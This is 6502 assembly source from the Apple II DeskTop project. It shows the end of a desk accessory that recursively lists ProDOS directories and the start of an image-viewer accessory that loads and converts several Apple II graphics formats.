;;; November 1989: The file_count field is no longer
;;; used (all references to ThisEntry were removed).
;;; This is because the file count can change on the fly
;;; on AppleShare volumes. (Note that the old code was
;;; accidentally decrementing the file count when it
;;; found an entry for a deleted file, so some files
;;; could be left off the end of the list.)
;;;
;;; Also, ThisBlock now gets incremented when a chunk
;;; of data is read from a directory. Previously, this
;;; routine could get stuck in an endless loop when
;;; a subdirectory was found outside the first block of
;;; its parent directory.
;;;
;;; Limitations: This routine cannot reach any
;;; subdirectory whose pathname is longer than 64
;;; characters, and it will not operate correctly if
;;; any subdirectory is more than 255 blocks long
;;; (because ThisBlock is only one byte).
;;;
;;;******************************************************
;;;
;;; Equates
;;;
;;; Zero page locations
;;;
dirName := $06 ; pointer to directory name
entPtr := $08 ; ptr to current entry
;;;******************************************************
saved_stack:
.byte 0
.proc Start
bit KBDSTRB ; clear strobe
ldy searchPath ; prime the search path
DO
copy8 searchPath,y, nameBuffer,y
dey
WHILE_POS
lda #0 ; reset recursion/results state
sta Depth
jsr Relay ; for stack restore
rts
.proc Relay
tsx
stx saved_stack
ldax #nameBuffer
jmp ReadDir
.endproc ; Relay
.endproc ; Start
.proc Terminate
JUMP_TABLE_MLI_CALL CLOSE, CloseParms ; close the directory
ldx saved_stack
txs
rts
.endproc ; Terminate
;;;
;;;******************************************************
;;;******************************************************
;;;
.proc ReadDir
;;;
;;; This is the actual recursive routine. It takes as
;;; input a pointer to the directory name to read in
;;; A,X (lo,hi), opens it, and starts to read the
;;; entries. When it encounters a filename, it calls
;;; the routine "VisitFile". When it encounters a
;;; directory name, it calls "VisitDir".
;;;
;;; The directory pathname string must end with a "/"
;;; character.
;;;
;;;******************************************************
;;;
stax dirName ; save a pointer to name
stax OpenParms::pathname ; set up OpenFile params
ReadDir1: ; recursive entry point
jsr OpenDir ; open the directory as a file
bcs done
jmp nextEntry ; jump to the end of the loop
loop:
ldax entPtr
jsr JUMP_TABLE_ADJUST_FILEENTRY
ldy #FileEntry::storage_type_name_length ; get type of current entry
lda (entPtr),y
and #STORAGE_TYPE_MASK ; look at 4 high bits
cmp #0 ; inactive entry?
beq nextEntry ; yes - bump to next one
cmp #(ST_LINKED_DIRECTORY<<4) ; is it a directory?
beq ItsADir ; yes, so call VisitDir
jsr VisitFile ; no, it's a file
jmp nextEntry
ItsADir:
jsr VisitDir
nextEntry:
lda KBD
IF_NS
sta KBDSTRB
cmp #$80|CHAR_ESCAPE
beq Terminate
END_IF
jsr GetNext ; get pointer to next entry
bcc loop ; Carry set means we're done
done: ; moved before PHA (11/89 DAL)
pha ; save error code
JUMP_TABLE_MLI_CALL CLOSE, CloseParms ; close the directory
pla ;we're expecting EndOfFile error
cmp #ERR_END_OF_FILE
beq hitDirEnd
hitDirEnd:
rts
;;;
;;;******************************************************
;;;
.proc OpenDir
;;;
;;; Opens the directory pointed to by OpenParms
;;; parameter block. This pointer should be init-
;;; ialized BEFORE this routine is called. If the
;;; file is successfully opened, the following
;;; variables are set:
;;;
;;; xRefNum ; all the refnums
;;; entryLen ; size of directory entries
;;; entPtr ; pointer to current entry
;;; ThisBEntry ; entry number within this block
;;; ThisBlock ; offset (in blocks) into dir.
;;;
JUMP_TABLE_MLI_CALL OPEN, OpenParms ; open dir as a file
bcs OpenDone
lda OpenParms::ref_num ; copy the refnum return-
sta ReadParms::ref_num ; ed by Open into the
sta CloseParms::ref_num ; other param blocks.
sta SetMParms::ref_num
JUMP_TABLE_MLI_CALL READ, ReadParms ; read the first block
bcs OpenDone
copy8 block_buffer+SubdirectoryHeader::entry_length, entryLen ; init 'entryLen'
copy16 #(block_buffer+4), z:entPtr ; init ptr to first entry
lda block_buffer+SubdirectoryHeader::entries_per_block ; init these values based on
sta ThisBEntry ; values in the dir header
sta entPerBlk
copy8 #0, ThisBlock ; init block offset into dir.
clc ; say that open was OK
OpenDone:
rts
.endproc ; OpenDir
;;;
;;;******************************************************
;;;
.proc VisitFile
ldx #DeskTopSettings::options
jsr ReadSetting
and #DeskTopSettings::kOptionsShowInvisible
IF_ZERO
;; Is the file visible?
ldy #FileEntry::access
lda (entPtr),y
and #ACCESS_I
RTS_IF_NOT_ZERO
END_IF
jsr PrintName
ldx #kColType
lda #' '
DO
jsr COut
WHILE_X_GE ch
jsr PrintType
jsr PrintSize
jsr PrintDate
jmp CROut
.endproc ; VisitFile
;;; --------------------------------------------------
.proc PrintName
;; Print indentation
ldx indent
IF_NOT_ZERO
lda #' '
DO
jsr COut
jsr COut
dex
WHILE_NOT_ZERO
END_IF
;; Print name
ldy #FileEntry::storage_type_name_length
lda (entPtr),y
and #NAME_LENGTH_MASK
tax
ldy #1
DO
lda (entPtr),y
jsr COut
iny
dex
WHILE_NOT_ZERO
rts
.endproc ; PrintName
;;; --------------------------------------------------
.proc PrintType
ldy #FileEntry::file_type
lda (entPtr),y
jsr ComposeFileTypeString
ldx #0
DO
lda str_file_type+1,x
jsr COut
inx
WHILE_X_NE str_file_type
rts
.endproc ; PrintType
;;; --------------------------------------------------
.proc PrintSize
;; Load block count into A,X
ldy #FileEntry::blocks_used+1
lda (entPtr),y
tax
dey
lda (entPtr),y
;; Compose string
jsr IntToString
;; Left-pad it
ldx #kColBlocks - kColType - kTypeWidth
lda #' '
DO
jsr COut
dex
WHILE_X_NE str_from_int
;; Print it
ldx #0
DO
lda str_from_int+1,x
jsr COut
inx
WHILE_X_NE str_from_int
rts
.endproc ; PrintSize
;;; --------------------------------------------------
.proc PrintDate
;; byte 1 byte 0
;; 7 6 5 4 3 2 1 0 7 6 5 4 3 2 1 0
;; +-+-+-+-+-+-+-+-+ +-+-+-+-+-+-+-+-+
;; | Year | Month | Day |
;; +-+-+-+-+-+-+-+-+ +-+-+-+-+-+-+-+-+
;; Day
ldy #FileEntry::mod_date
lda (entPtr),y
and #%00011111 ; lo
ldx #0 ; hi
jsr IntToString
lda str_from_int
IF_A_EQ #1
lda #' '
ldx str_from_int+1
ELSE
lda str_from_int+1
ldx str_from_int+2
END_IF
sta str_date+1
stx str_date+2
;; Month
ldy #FileEntry::mod_date+1
lda (entPtr),y
lsr
dey
lda (entPtr),y
and #%11100000
ror ; A = MMMM0000
lsr ; A = 0MMMM000
lsr ; A = 00MMMM00
lsr ; A = 000MMMM0
lsr ; A = 0000MMMM
sta tmp
;; Assert: C=0
adc tmp ; A *= 2
;; Assert: C=0
adc tmp ; A *= 3
tax
lda month_names_table-3+0,x
sta str_date+4
lda month_names_table-3+1,x
sta str_date+5
lda month_names_table-3+2,x
sta str_date+6
;; Year
ldy #FileEntry::mod_date+1
lda (entPtr),y
lsr ; A = 0YYYYYYY
IF_A_GE #100
sec
sbc #100
END_IF
ldx #0 ; hi
jsr IntToString
lda str_from_int
IF_A_EQ #1
lda #'0'
ldx str_from_int+1
ELSE
lda str_from_int+1
ldx str_from_int+2
END_IF
sta str_date+8
stx str_date+9
;; Pad it
ldx #kColMod - (kColBlocks + kBlocksWidth)
lda #' '
DO
jsr COut
dex
WHILE_NOT_ZERO
;; Print it
ldx #0
DO
lda str_date+1,x
jsr COut
inx
WHILE_X_NE str_date
rts
tmp: .byte 0
.endproc ; PrintDate
;;;
;;;******************************************************
;;;
.proc VisitDir
jsr PrintName
lda #'/'
jsr COut
jsr CROut
;; 6 bytes + 3 return addresses = 12 bytes are pushed to stack on
;; in RecursDir; 12 * 16 = 192 bytes, which leaves enough room
;; on the stack above and below for safety.
kMaxRecursionDepth = 16
lda Depth
IF_A_LT #kMaxRecursionDepth
jmp RecursDir ; enumerate all entries in sub-dir.
END_IF
rts
.endproc ; VisitDir
;;;
;;;******************************************************
;;;
.proc RecursDir
;;;
;;; This routine calls ReadDir recursively. It
;;;
;;; - increments the recursion depth counter,
;;; - saves certain variables onto the stack
;;; - closes the current directory
;;; - creates the name of the new directory
;;; - calls ReadDir (recursively)
;;; - restores the variables from the stack
;;; - restores directory name to original value
;;; - re-opens the old directory
;;; - moves to our last position within it
;;; - decrements the recursion depth counter
;;;
inc Depth ; bump this for recursive call
inc indent
;;;
;;; Save everything we can think of (the women,
;;; the children, the beer, etc.).
;;;
lda z:entPtr+1
pha
lda z:entPtr
pha
lda ThisBEntry
pha
lda ThisBlock
pha
lda entryLen
pha
lda entPerBlk
pha
;;;
;;; Close the current directory, as ReadDir will
;;; open files of its own, and we don't want to
;;; have a bunch of open files lying around.
;;;
JUMP_TABLE_MLI_CALL CLOSE, CloseParms
jsr ExtendName ; make new dir name
jsr ReadDir1 ; enumerate the subdirectory
jsr ChopName ; restore old directory name
jsr OpenDir ; re-open it back up
bcc reOpened
;;;
;;; Can't continue from this point -- exit in
;;; whatever way is appropriate for your
;;; program.
;;;
jmp Terminate
reOpened:
;;;
;;; Restore everything that we saved before
;;;
pla
sta entPerBlk
pla
sta entryLen
pla
sta ThisBlock
pla
sta ThisBEntry
pla
sta z:entPtr
pla
sta z:entPtr+1
lda #0
sta SetMParms::position
sta SetMParms::position+2
lda ThisBlock ; reset last position in dir
asl a ; = to block # times 512
sta SetMParms::position+1
rol SetMParms::position+2
JUMP_TABLE_MLI_CALL SET_MARK, SetMParms ; reset the file marker
JUMP_TABLE_MLI_CALL READ, ReadParms ; now read in the block we were on last.
dec Depth
dec indent
rts
.endproc ; RecursDir
;;;
;;;******************************************************
;;;
.proc ExtendName
;;;
;;; Append the name in the current directory entry
;;; to the name in the directory name buffer. This
;;; will allow us to descend another level into the
;;; disk hierarchy when we call ReadDir.
;;;
ldy #FileEntry::storage_type_name_length ; get length of string to copy
lda (entPtr),y
and #NAME_LENGTH_MASK
sta extCnt ; save the length here
sty srcPtr ; init src ptr to zero
ldy #0 ; init dest ptr to end of
lda (dirName),y ; the current directory name
sta destPtr
extloop:
inc srcPtr ; bump to next char to read
inc destPtr ; bump to next empty location
ldy srcPtr ; get char of sub-dir name
lda (entPtr),y
ldy destPtr ; tack on to end of cur. dir.
sta (dirName),y
dec extCnt ; done all chars?
bne extloop ; no - so do more
iny
lda #'/' ; tack "/" on to the end
sta (dirName),y
tya ; fix length of filename to open
ldy #0
sta (dirName),y
rts
extCnt: .res 1
srcPtr: .res 1
destPtr: .res 1
.endproc ; ExtendName
;;;
;;;
;;;******************************************************
;;;
.proc ChopName
;;;
;;; Scans the current directory name, and chops
;;; off characters until it gets to a /.
;;;
ldy #0 ; get len of current dir.
lda (dirName),y
tay
ChopLoop:
dey ; bump to previous char
lda (dirName),y
cmp #'/'
bne ChopLoop
tya
ldy #0
sta (dirName),y
rts
.endproc ; ChopName
;;;
;;;******************************************************
;;;
.proc GetNext
;;;
;;; This routine is responsible for making a pointer
;;; to the next entry in the directory. If there are
;;; still entries to be processed in this block, then
;;; we simply bump the pointer by the size of the
;;; directory entry. If we have finished with this
;;; block, then we read in the next block, point to
;;; the first entry, and increment our block counter.
;;;
dec ThisBEntry ; dec count for this block
beq ReadNext ; done w/this block, get next one
clc ; else bump up index
lda z:entPtr
adc entryLen
sta z:entPtr
lda z:entPtr+1
adc #0
sta z:entPtr+1
clc ; say that the buffer's good
rts
ReadNext:
JUMP_TABLE_MLI_CALL READ, ReadParms ; get the next block
bcs DirDone
inc ThisBlock
copy16 #(block_buffer+4),z:entPtr ; set entry pointer to beginning
; of first entry in block
copy8 entPerBlk, ThisBEntry ; re-init 'entries in this block'
dec ThisBEntry
clc ; return 'No error'
rts
DirDone:
sec ; return 'an error occurred' (error in A)
rts
.endproc ; GetNext
.endproc ; ReadDir
;;;
;;;******************************************************
;;;
;;; Some global variables
;;;
Depth: .res 1 ; amount of recursion
ThisBEntry: .res 1 ; entry in this block
ThisBlock: .res 1 ; block with dir
entryLen: .res 1 ; length of each directory entry
entPerBlk: .res 1 ; entries per block
.endscope ; RecursiveCatalog
;;; ============================================================
DEFINE_ON_LINE_PARAMS on_line_params,, on_line_buffer
on_line_buffer:
.res 16, 0
devidx: .byte 0
;;; Call before calling `NextVolume` to begin enumeration.
.proc InitVolumes
copy8 DEVCNT, devidx
rts
.endproc ; InitVolumes
;;; Appends next volume name to `searchPath`. Call `InitVolumes` first.
;;; Output: C=0 on success, C=1 on failure
.proc NextVolume
repeat: ldx devidx
bmi fail
dec devidx
lda DEVLST,x
and #UNIT_NUM_MASK
sta on_line_params::unit_num
JUMP_TABLE_MLI_CALL ON_LINE, on_line_params
bcs repeat
lda on_line_buffer
and #NAME_LENGTH_MASK
beq repeat ; error - try next one
param_call JUMP_TABLE_ADJUST_ONLINEENTRY, on_line_buffer
ldx #0
DO
copy8 on_line_buffer+1,x, searchPath+2,x
inx
WHILE_X_NE on_line_buffer
copy8 #'/', searchPath+2,x ; add trailing '/'
inx
inx
stx searchPath
;; Success!
clc
rts
fail:
sec
rts
.endproc ; NextVolume
;;; ============================================================
;;; Inputs: Y = entry point, A = char to output (for `SSC::PWrite`)
.proc GoCard
;; Normal banking
sta ALTZPOFF
bit ROMIN2
ldx SLOT1,Y
stx vector+1
ldx #>SLOT1 ; X = $Cn
ldy #((>SLOT1)<<4)&%11110000 ; Y = $n0
;; A2MISC TechNote #3 SSC C800 space
stx MSLOT
stx $CFFF
vector: jsr SLOT1 ; self-modified
;; Back to what DeskTop expects
sta ALTZPON
bit LCBANK1
bit LCBANK1
rts
.endproc ; GoCard
.proc CROut
copy8 #0, ch
lda #CHAR_RETURN
jsr COut
lda #CHAR_DOWN
FALL_THROUGH_TO COut
.endproc ; CROut
.proc COut
inc ch
sta asave
stx xsave
sty ysave
ldy #SSC::PWrite
jsr GoCard
lda asave
ldx xsave
ldy ysave
rts
asave: .byte 0
xsave: .byte 0
ysave: .byte 0
.endproc ; COut
;;; ============================================================
ReadSetting = JUMP_TABLE_READ_SETTING
hex_digits: .byte "0123456789ABCDEF" ; Needed by ComposeFileTypeString
str_from_int: PASCAL_STRING "000,000" ; Filled in by IntToString
str_date: PASCAL_STRING "DD-MMM-YY"
month_names_table:
.byte .sprintf("%3s", res_string_month_abbrev_1)
.byte .sprintf("%3s", res_string_month_abbrev_2)
.byte .sprintf("%3s", res_string_month_abbrev_3)
.byte .sprintf("%3s", res_string_month_abbrev_4)
.byte .sprintf("%3s", res_string_month_abbrev_5)
.byte .sprintf("%3s", res_string_month_abbrev_6)
.byte .sprintf("%3s", res_string_month_abbrev_7)
.byte .sprintf("%3s", res_string_month_abbrev_8)
.byte .sprintf("%3s", res_string_month_abbrev_9)
.byte .sprintf("%3s", res_string_month_abbrev_10)
.byte .sprintf("%3s", res_string_month_abbrev_11)
.byte .sprintf("%3s", res_string_month_abbrev_12)
ASSERT_RECORD_TABLE_SIZE month_names_table, 12, 3
.include "../lib/filetypestring.s"
.include "../lib/inttostring.s"
.include "../lib/save_textpage.s"
;;; ============================================================
DA_END_MAIN_SEGMENT
;;; ============================================================
|
a2stuff/a2d
| 43,904
|
src/desk.acc/show.image.file.s
|
.include "../config.inc"
.include "apple2.inc"
.include "../inc/apple2.inc"
.include "../inc/macros.inc"
.include "../inc/prodos.inc"
.include "../mgtk/mgtk.inc"
.include "../common.inc"
.include "../desktop/desktop.inc"
;;; ============================================================
;;; Memory map
;;;
;;; Main Aux
;;; : : : :
;;; | | | |
;;; | DHR | | DHR |
;;; $2000 +-----------+ +-----------+
;;; | IO Buffer | | |
;;; $1C00 +-----------+ | |
;;; | | | |
;;; | | | |
;;; | | | |
;;; | MP Src | | MP Dst |
;;; $1800 +-----------+ +-----------+
;;; | | | |
;;; | | | |
;;; | | | |
;;; | DA | | resources |
;;; $800 +-----------+ +-----------+
;;; : : : :
;;;
hires := $2000 ; HR/DHR images are loaded directly into screen buffer
kHiresSize = $2000
;; Minipix/Print Shop images are loaded/converted
minipix_src_buf := $1800 ; Load address (main)
kMinipixSrcSize = 576
minipix_dst_buf := $1800 ; Convert address (aux)
kMinipixDstSize = 26*52
;; LR/DLR-Lores images are loaded/converted
lores_src_buf := $1800 ; Load address (main
kLoresBufferSize = $400
dir_path := $380
.assert (minipix_src_buf + kMinipixSrcSize) <= DA_IO_BUFFER, error, "Not enough room for Minipix load buffer"
.assert (minipix_dst_buf + kMinipixDstSize) <= $2000, error, "Not enough room for Minipix convert buffer"
.assert (lores_src_buf + kLoresBufferSize) <= DA_IO_BUFFER, error, "Lores buffer size too small"
;;; ============================================================
DA_HEADER
DA_START_AUX_SEGMENT
;;; ============================================================
event_params: .tag MGTK::Event
kMinipixWidth = 88 * 2
kMinipixHeight = 52
grafport: .tag MGTK::GrafPort
notpencopy: .byte MGTK::notpencopy
.params paintbits_params
DEFINE_POINT viewloc, (kScreenWidth - kMinipixWidth)/2, (kScreenHeight - kMinipixHeight)/2
mapbits: .addr minipix_dst_buf
mapwidth: .byte 26
reserved: .byte 0
DEFINE_RECT maprect, 0, 0, kMinipixWidth-1, kMinipixHeight-1
REF_MAPINFO_MEMBERS
.endparams
;;; ============================================================
DA_END_AUX_SEGMENT
;;; ============================================================
DA_START_MAIN_SEGMENT
jmp Init
;;; ============================================================
;;; ProDOS MLI param blocks
INVOKE_PATH := $220
DEFINE_OPEN_PARAMS open_image_params, INVOKE_PATH, DA_IO_BUFFER
DEFINE_GET_FILE_INFO_PARAMS get_file_info_params, INVOKE_PATH
DEFINE_GET_EOF_PARAMS get_eof_params
DEFINE_READWRITE_PARAMS read_image_params, hires, kHiresSize
DEFINE_READWRITE_PARAMS read_minipix_params, minipix_src_buf, kMinipixSrcSize
DEFINE_READWRITE_PARAMS read_lores_params, lores_src_buf, kLoresBufferSize
DEFINE_CLOSE_PARAMS close_image_params
;;; ============================================================
event_params: .tag MGTK::Event
;;; ============================================================
.proc CopyEventAuxToMain
copy16 #aux::event_params, STARTLO
copy16 #aux::event_params + .sizeof(MGTK::Event) - 1, ENDLO
copy16 #event_params, DESTINATIONLO
clc ; aux > main
jmp AUXMOVE
.endproc ; CopyEventAuxToMain
;;; ============================================================
.proc Init
CLEAR_BIT7_FLAG color_mode_flag
;; In case we're re-entered c/o switching to another file
jsr MaybeCallExitHook
JUMP_TABLE_MLI_CALL OPEN, open_image_params
lda open_image_params::ref_num
sta get_eof_params::ref_num
sta read_image_params::ref_num
sta read_minipix_params::ref_num
sta read_lores_params::ref_num
sta close_image_params::ref_num
JUMP_TABLE_MGTK_CALL MGTK::HideCursor
jsr ClearScreen
jsr SetColorMode
jsr ShowFile ; C=1 on failure
php
JUMP_TABLE_MGTK_CALL MGTK::ShowCursor
JUMP_TABLE_MLI_CALL CLOSE, close_image_params
plp
jcs Exit
JUMP_TABLE_MGTK_CALL MGTK::FlushEvents
JUMP_TABLE_MGTK_CALL MGTK::ObscureCursor
FALL_THROUGH_TO InputLoop
.endproc ; Init
;;; ============================================================
;;; Main Input Loop
.proc InputLoop
JUMP_TABLE_MGTK_CALL MGTK::GetEvent, aux::event_params
jsr CopyEventAuxToMain
lda event_params + MGTK::Event::kind
cmp #MGTK::EventKind::button_down ; was clicked?
jeq Exit
cmp #MGTK::EventKind::key_down ; any key?
beq on_key
bit slideshow_flag
bpl InputLoop
;; --------------------------------------------------
;; Slideshow mode
dec16 slideshow_counter
lda slideshow_counter
ora slideshow_counter+1
bne InputLoop
jsr InitSlideshowCounter
jmp NextFile
;; --------------------------------------------------
;; Key Event
on_key:
;; Stop slideshow on any keypress
ldy slideshow_flag ; Y = previous `slideshow_flag` state
CLEAR_BIT7_FLAG slideshow_flag
lda event_params + MGTK::Event::key
jsr ToUpperCase
ldx event_params + MGTK::Event::modifiers
IF_NOT_ZERO
cmp #kShortcutCloseWindow
beq Exit
cmp #CHAR_LEFT
jeq FirstFile
cmp #CHAR_RIGHT
jeq LastFile
bne InputLoop ; always
END_IF
cmp #CHAR_ESCAPE
beq Exit
cmp #CHAR_RETURN
beq Exit
cmp #CHAR_LEFT
jeq PreviousFile
cmp #CHAR_RIGHT
jeq NextFile
IF_A_EQ #'S'
cpy #$00 ; Y = previous `slideshow_flag` state
bne InputLoop ; Ignore (so toggle) if slideshow mode was on
beq SetSlideshowMode ; always
END_IF
IF_A_EQ #' '
jsr ToggleMode
END_IF
jmp InputLoop
.endproc ; InputLoop
;;; ============================================================
.proc SetSlideshowMode
SET_BIT7_FLAG slideshow_flag
jsr InitSlideshowCounter
jmp InputLoop
.endproc ; SetSlideshowMode
.proc InitSlideshowCounter
ldx #DeskTopSettings::dblclick_speed
jsr JUMP_TABLE_READ_SETTING
sta slideshow_counter
inx ; `ReadSetting` preserves X
jsr JUMP_TABLE_READ_SETTING
sta slideshow_counter+1
asl16 slideshow_counter
rts
.endproc ; InitSlideshowCounter
slideshow_flag:
.byte 0
slideshow_counter:
.word 0
;;; ============================================================
restore_buffer_overlay_flag:
.byte 0
.proc Exit
jsr MaybeCallExitHook
bit restore_buffer_overlay_flag
IF_NS
lda #kDynamicRoutineRestoreBuffer
jsr JUMP_TABLE_RESTORE_OVL
END_IF
jsr JUMP_TABLE_RGB_MODE
;; Restore desktop and menu
JUMP_TABLE_MGTK_CALL MGTK::RedrawDeskTop
JUMP_TABLE_MGTK_CALL MGTK::DrawMenuBar
jsr JUMP_TABLE_HILITE_MENU
rts
.endproc ; Exit
;;; ============================================================
.proc MaybeCallExitHook
lda hook
ora hook+1
IF_NOT_ZERO
hook := *+1
jsr $0000 ; self-modified; 0 = no hook
copy16 #0, hook
END_IF
rts
.endproc ; MaybeCallExitHook
exit_hook := MaybeCallExitHook::hook
;;; ============================================================
;;; Tail-called routines must exit with C=0 on success
.proc ShowFile
;; Check file type
JUMP_TABLE_MLI_CALL GET_FILE_INFO, get_file_info_params
IF_CS
fail: rts
END_IF
lda get_file_info_params::file_type
RTS_IF_A_EQ #FT_DIRECTORY ; C=1 signals failure
cmp #FT_PNT
jeq ShowPackedSHR
cmp #FT_PIC
jeq ShowUnpackedSHR
cmp #FT_GRAPHICS
bne get_eof
;; FOT files
lda get_file_info_params::aux_type
ldx get_file_info_params::aux_type+1
;; auxtype $8066 - LZ4FH packed image
IF_X_EQ #$80
IF_A_EQ #$66
jmp ShowLZ4FHFile
END_IF
END_IF
;; auxtype $4000 / $4001 are packed hires/double-hires
cpx #$40
bne ShowFOTFile
cmp #$00
jeq ShowPackedHRFile
cmp #$01
bne ShowFOTFile
jmp ShowPackedDHRFile
;; Otherwise, rely on size heuristics to determine the type
get_eof:
JUMP_TABLE_MLI_CALL GET_EOF, get_eof_params
;; Maybe LR/DLR?
ecmp16 get_file_info_params::aux_type, #$400
IF_EQ
ecmp24 get_eof_params::eof, #$400
jeq ShowLRFile
ecmp24 get_eof_params::eof, #$800
jeq ShowDLRFile
END_IF
;; If bigger than $2000, assume DHR
ucmp24 get_eof_params::eof, #(kHiresSize+1)
jcs ShowDHRFile
;; If bigger than 576, assume HR
cmp16 get_eof_params::eof, #kMinipixSrcSize+1
jcs ShowHRFile
;; Otherwise, assume Minipix
jmp ShowMinipixFile
.endproc ; ShowFile
;;; ============================================================
;;; Output: C=0 on success, C=1 on failure
.proc ShowFOTFile
;; Per File Type $08 (8) Note:
;; ...you can determine the mode of the file by examining byte
;; +120 (+$78). The value of this byte, which ranges from zero
;; to seven, is interpreted as follows:
;;
;; Mode Page 1 Page 2
;; 280 x 192 Black & White 0 4
;; 280 x 192 Limited Color 1 5
;; 560 x 192 Black & White 2 6
;; 140 x 192 Full Color 3 7
SIGNATURE := hires + 120
kSigColor = %00000001
kSigDHR = %00000010
;; At least one page...
sta PAGE2OFF
JUMP_TABLE_MLI_CALL READ, read_image_params
copy8 SIGNATURE, signature
;; HR or DHR?
and #kSigDHR
bne dhr
;; If HR, convert to DHR.
jsr HRToDHR
jmp finish
;; If DHR, copy Main>Aux and load Main page.
dhr: jsr CopyHiresToAux
JUMP_TABLE_MLI_CALL READ, read_image_params
finish:
lda signature
and #kSigColor
IF_ZERO
jsr SetBWMode
END_IF
clc ; success
rts
signature:
.byte 0
.endproc ; ShowFOTFile
;;; ============================================================
;;; Output: C=0 on success, C=1 on failure
.proc ShowLZ4FHFile
sta PAGE2OFF
SET_BIT7_FLAG restore_buffer_overlay_flag
copy16 #OVERLAY_BUFFER, read_image_params::data_buffer
JUMP_TABLE_MLI_CALL READ, read_image_params
copy16 #$2000, read_image_params::data_buffer
;; NOTE: `Init` also calls `CLOSE`, but it's harmless to call
;; it twice.
JUMP_TABLE_MLI_CALL CLOSE, close_image_params
copy16 #OVERLAY_BUFFER, z:::LZ4FH::in_src
copy16 #$2000, z:::LZ4FH::in_dst
jsr LZ4FH
bne fail
jsr HRToDHR
clc ; success
rts
fail: sec ; failure
rts
.endproc ; ShowLZ4FHFile
;;; ============================================================
;;; Output: C=0 on success, C=1 on failure
.proc ShowHRFile
;; If suffix is ".A2HR" show in mono mode
param_call CheckSuffix, str_a2hr_suffix
IF_CC
jsr SetBWMode
END_IF
sta PAGE2OFF
JUMP_TABLE_MLI_CALL READ, read_image_params
jsr HRToDHR
clc ; success
rts
.endproc ; ShowHRFile
;;; ============================================================
;;; Output: C=0 on success, C=1 on failure
.proc ShowDHRFile
ptr := $06
;; If suffix is ".A2FM" show in mono mode
param_call CheckSuffix, str_a2fm_suffix
IF_CC
jsr SetBWMode
END_IF
;; AUX memory half
sta PAGE2OFF
JUMP_TABLE_MLI_CALL READ, read_image_params
;; NOTE: Why not just load into Aux directly by setting
;; PAGE2ON? This works unless loading from a RamWorks-based
;; RAM Disk, where things get messed up. This is slightly
;; slower in the non-RamWorks case.
;; TODO: Load directly into Aux if RamWorks is not present.
jsr CopyHiresToAux
;; MAIN memory half
JUMP_TABLE_MLI_CALL READ, read_image_params
clc ; success
rts
.endproc ; ShowDHRFile
;;; ============================================================
.proc CopyHiresToAux
ptr := $06
sta CLR80STORE
sta RAMWRTON
copy16 #hires, ptr
ldx #>kHiresSize ; number of pages to copy
ldy #0
DO
DO
copy8 (ptr),y, (ptr),y
iny
WHILE_NOT_ZERO
inc ptr+1
dex
WHILE_NOT_ZERO
sta SET80STORE
sta RAMWRTOFF
rts
.endproc ; CopyHiresToAux
;;; ============================================================
;;; Output: C=0 on success, C=1 on failure
.proc ShowMinipixFile
jsr SetBWMode
;; Load file at minipix_src_buf (MAIN $1800)
JUMP_TABLE_MLI_CALL READ, read_minipix_params
;; Convert (main to aux)
jsr ConvertMinipixToBitmap
;; Draw
JUMP_TABLE_MGTK_CALL MGTK::InitPort, aux::grafport
JUMP_TABLE_MGTK_CALL MGTK::SetPort, aux::grafport
JUMP_TABLE_MGTK_CALL MGTK::SetPenMode, aux::notpencopy
JUMP_TABLE_MGTK_CALL MGTK::PaintBitsHC, aux::paintbits_params
clc ; success
rts
.endproc ; ShowMinipixFile
;;; ============================================================
;;; Convert single hires to double hires
;;; Assumes the image is loaded to MAIN $2000 and
;;; relies on the hr_to_dhr.inc table.
.proc HRToDHR
ptr := $06
kRows = 192
kCols = 40
spill := $08 ; spill-over
lda #0 ; row
DO
pha
tax
copy8 hires_table_lo,x, ptr
copy8 hires_table_hi,x, ptr+1
ldy #kCols-1 ; col
copy8 #0, spill ; spill-over
DO
lda (ptr),y
tax
bmi hibitset
;; spill bit in from previous column; main bit7 encodes bit to spill
lda hr_to_dhr_aux,x
sta PAGE2ON
sta (ptr),y
lda hr_to_dhr_main,x
ora spill ; apply previous spill bit (to bit 6)
sta PAGE2OFF
sta (ptr),y
jmp next
hibitset:
;; no bit to spill in, but spill out leftmost pixel
lda hr_to_dhr_aux,x
pha
sta PAGE2ON
sta (ptr),y
lda hr_to_dhr_main,x
sta PAGE2OFF
sta (ptr),y
pla
ror
ror
next:
ror
and #(1 << 6)
sta spill
dey
WHILE_POS
pla
clc
adc #1
WHILE_A_NE #kRows
done: rts
.endproc ; HRToDHR
;;; ============================================================
;;; Output: C=0 on success, C=1 on failure
.proc ShowLRFileImpl
ENTRY_POINTS_FOR_BIT7_FLAG double, single, double_flag
sta PAGE2OFF
hr_ptr := $06
lr_ptr := $08
kRows = 192
kCols = 40
;; Aux
JUMP_TABLE_MLI_CALL READ, read_lores_params
sta PAGE2ON
lda #0 ; aux
jsr convert
sta PAGE2OFF
;; Main
double_flag := *+1
lda #SELF_MODIFIED_BYTE
IF_NS
JUMP_TABLE_MLI_CALL READ, read_lores_params
END_IF
lda #$80 ; main
FALL_THROUGH_TO convert
convert:
sta is_main
;; Loop over HR rows
lda #0 ; A = row
DO
pha ; A = row
;; Destination hires row
tax
copylohi hires_table_lo,x, hires_table_hi,x, hr_ptr
;; Source lores row (in `lores_src_buf`)
lda hr_ptr
clc
adc #<lores_src_buf
sta lr_ptr ; lo
lda hr_ptr+1
and #%00000011
adc #>lores_src_buf
sta lr_ptr+1 ; hi
;; Loop over columns
ldy #0
DO
lda (lr_ptr),y ; read source
tax ; X = double pixel
;; Which nibble?
pla ; A = row
pha ; A = row
and #%0000100
IF_ZERO
;; Top nibble
txa ; A = double pixel
and #%00001111 ; A = pixel
ELSE
;; Bottom nibble
txa ; A = double pixel
lsr
lsr
lsr
lsr ; A = pixel
END_IF
;; In double-lores, the aux-bank patterns are shifted
bit double_flag
IF_NS
bit is_main
IF_NC
;; rotate lo nibble left, A = 0000abcd
asl ; A = 000abcd0
adc #%11110000 ; A = xxxxbcd0 C=a
adc #0 ; A = xxxxbcda
and #%00001111 ; A = 0000bcda
END_IF
END_IF
;; Convert pixel bit pattern into lookup
pha ; A = 0000PPPP (P = pattern)
tya ; A = col
ror ; C = odd?
pla ; A = 0000PPPP (P = pattern)
rol ; A = 000PPPPO (P = pattern, O = odd?)
is_main := *+1 ; N = main?
ldx #SELF_MODIFIED_BYTE
cpx #$80-1 ; C = main?
rol ; A = 00PPPPOM (P = pattern, O = odd? M = main?)
tax ; X = 00CCCCOM C = color O = odd? M = main?
;; Splat into 4 hires rows
lda hr_ptr+1 ; save ptr
pha
lda bitmap_table,x
ldx #4 ; 4 hires rows = 1 lores pixel
DO
sta (hr_ptr),y
inc hr_ptr+1
inc hr_ptr+1
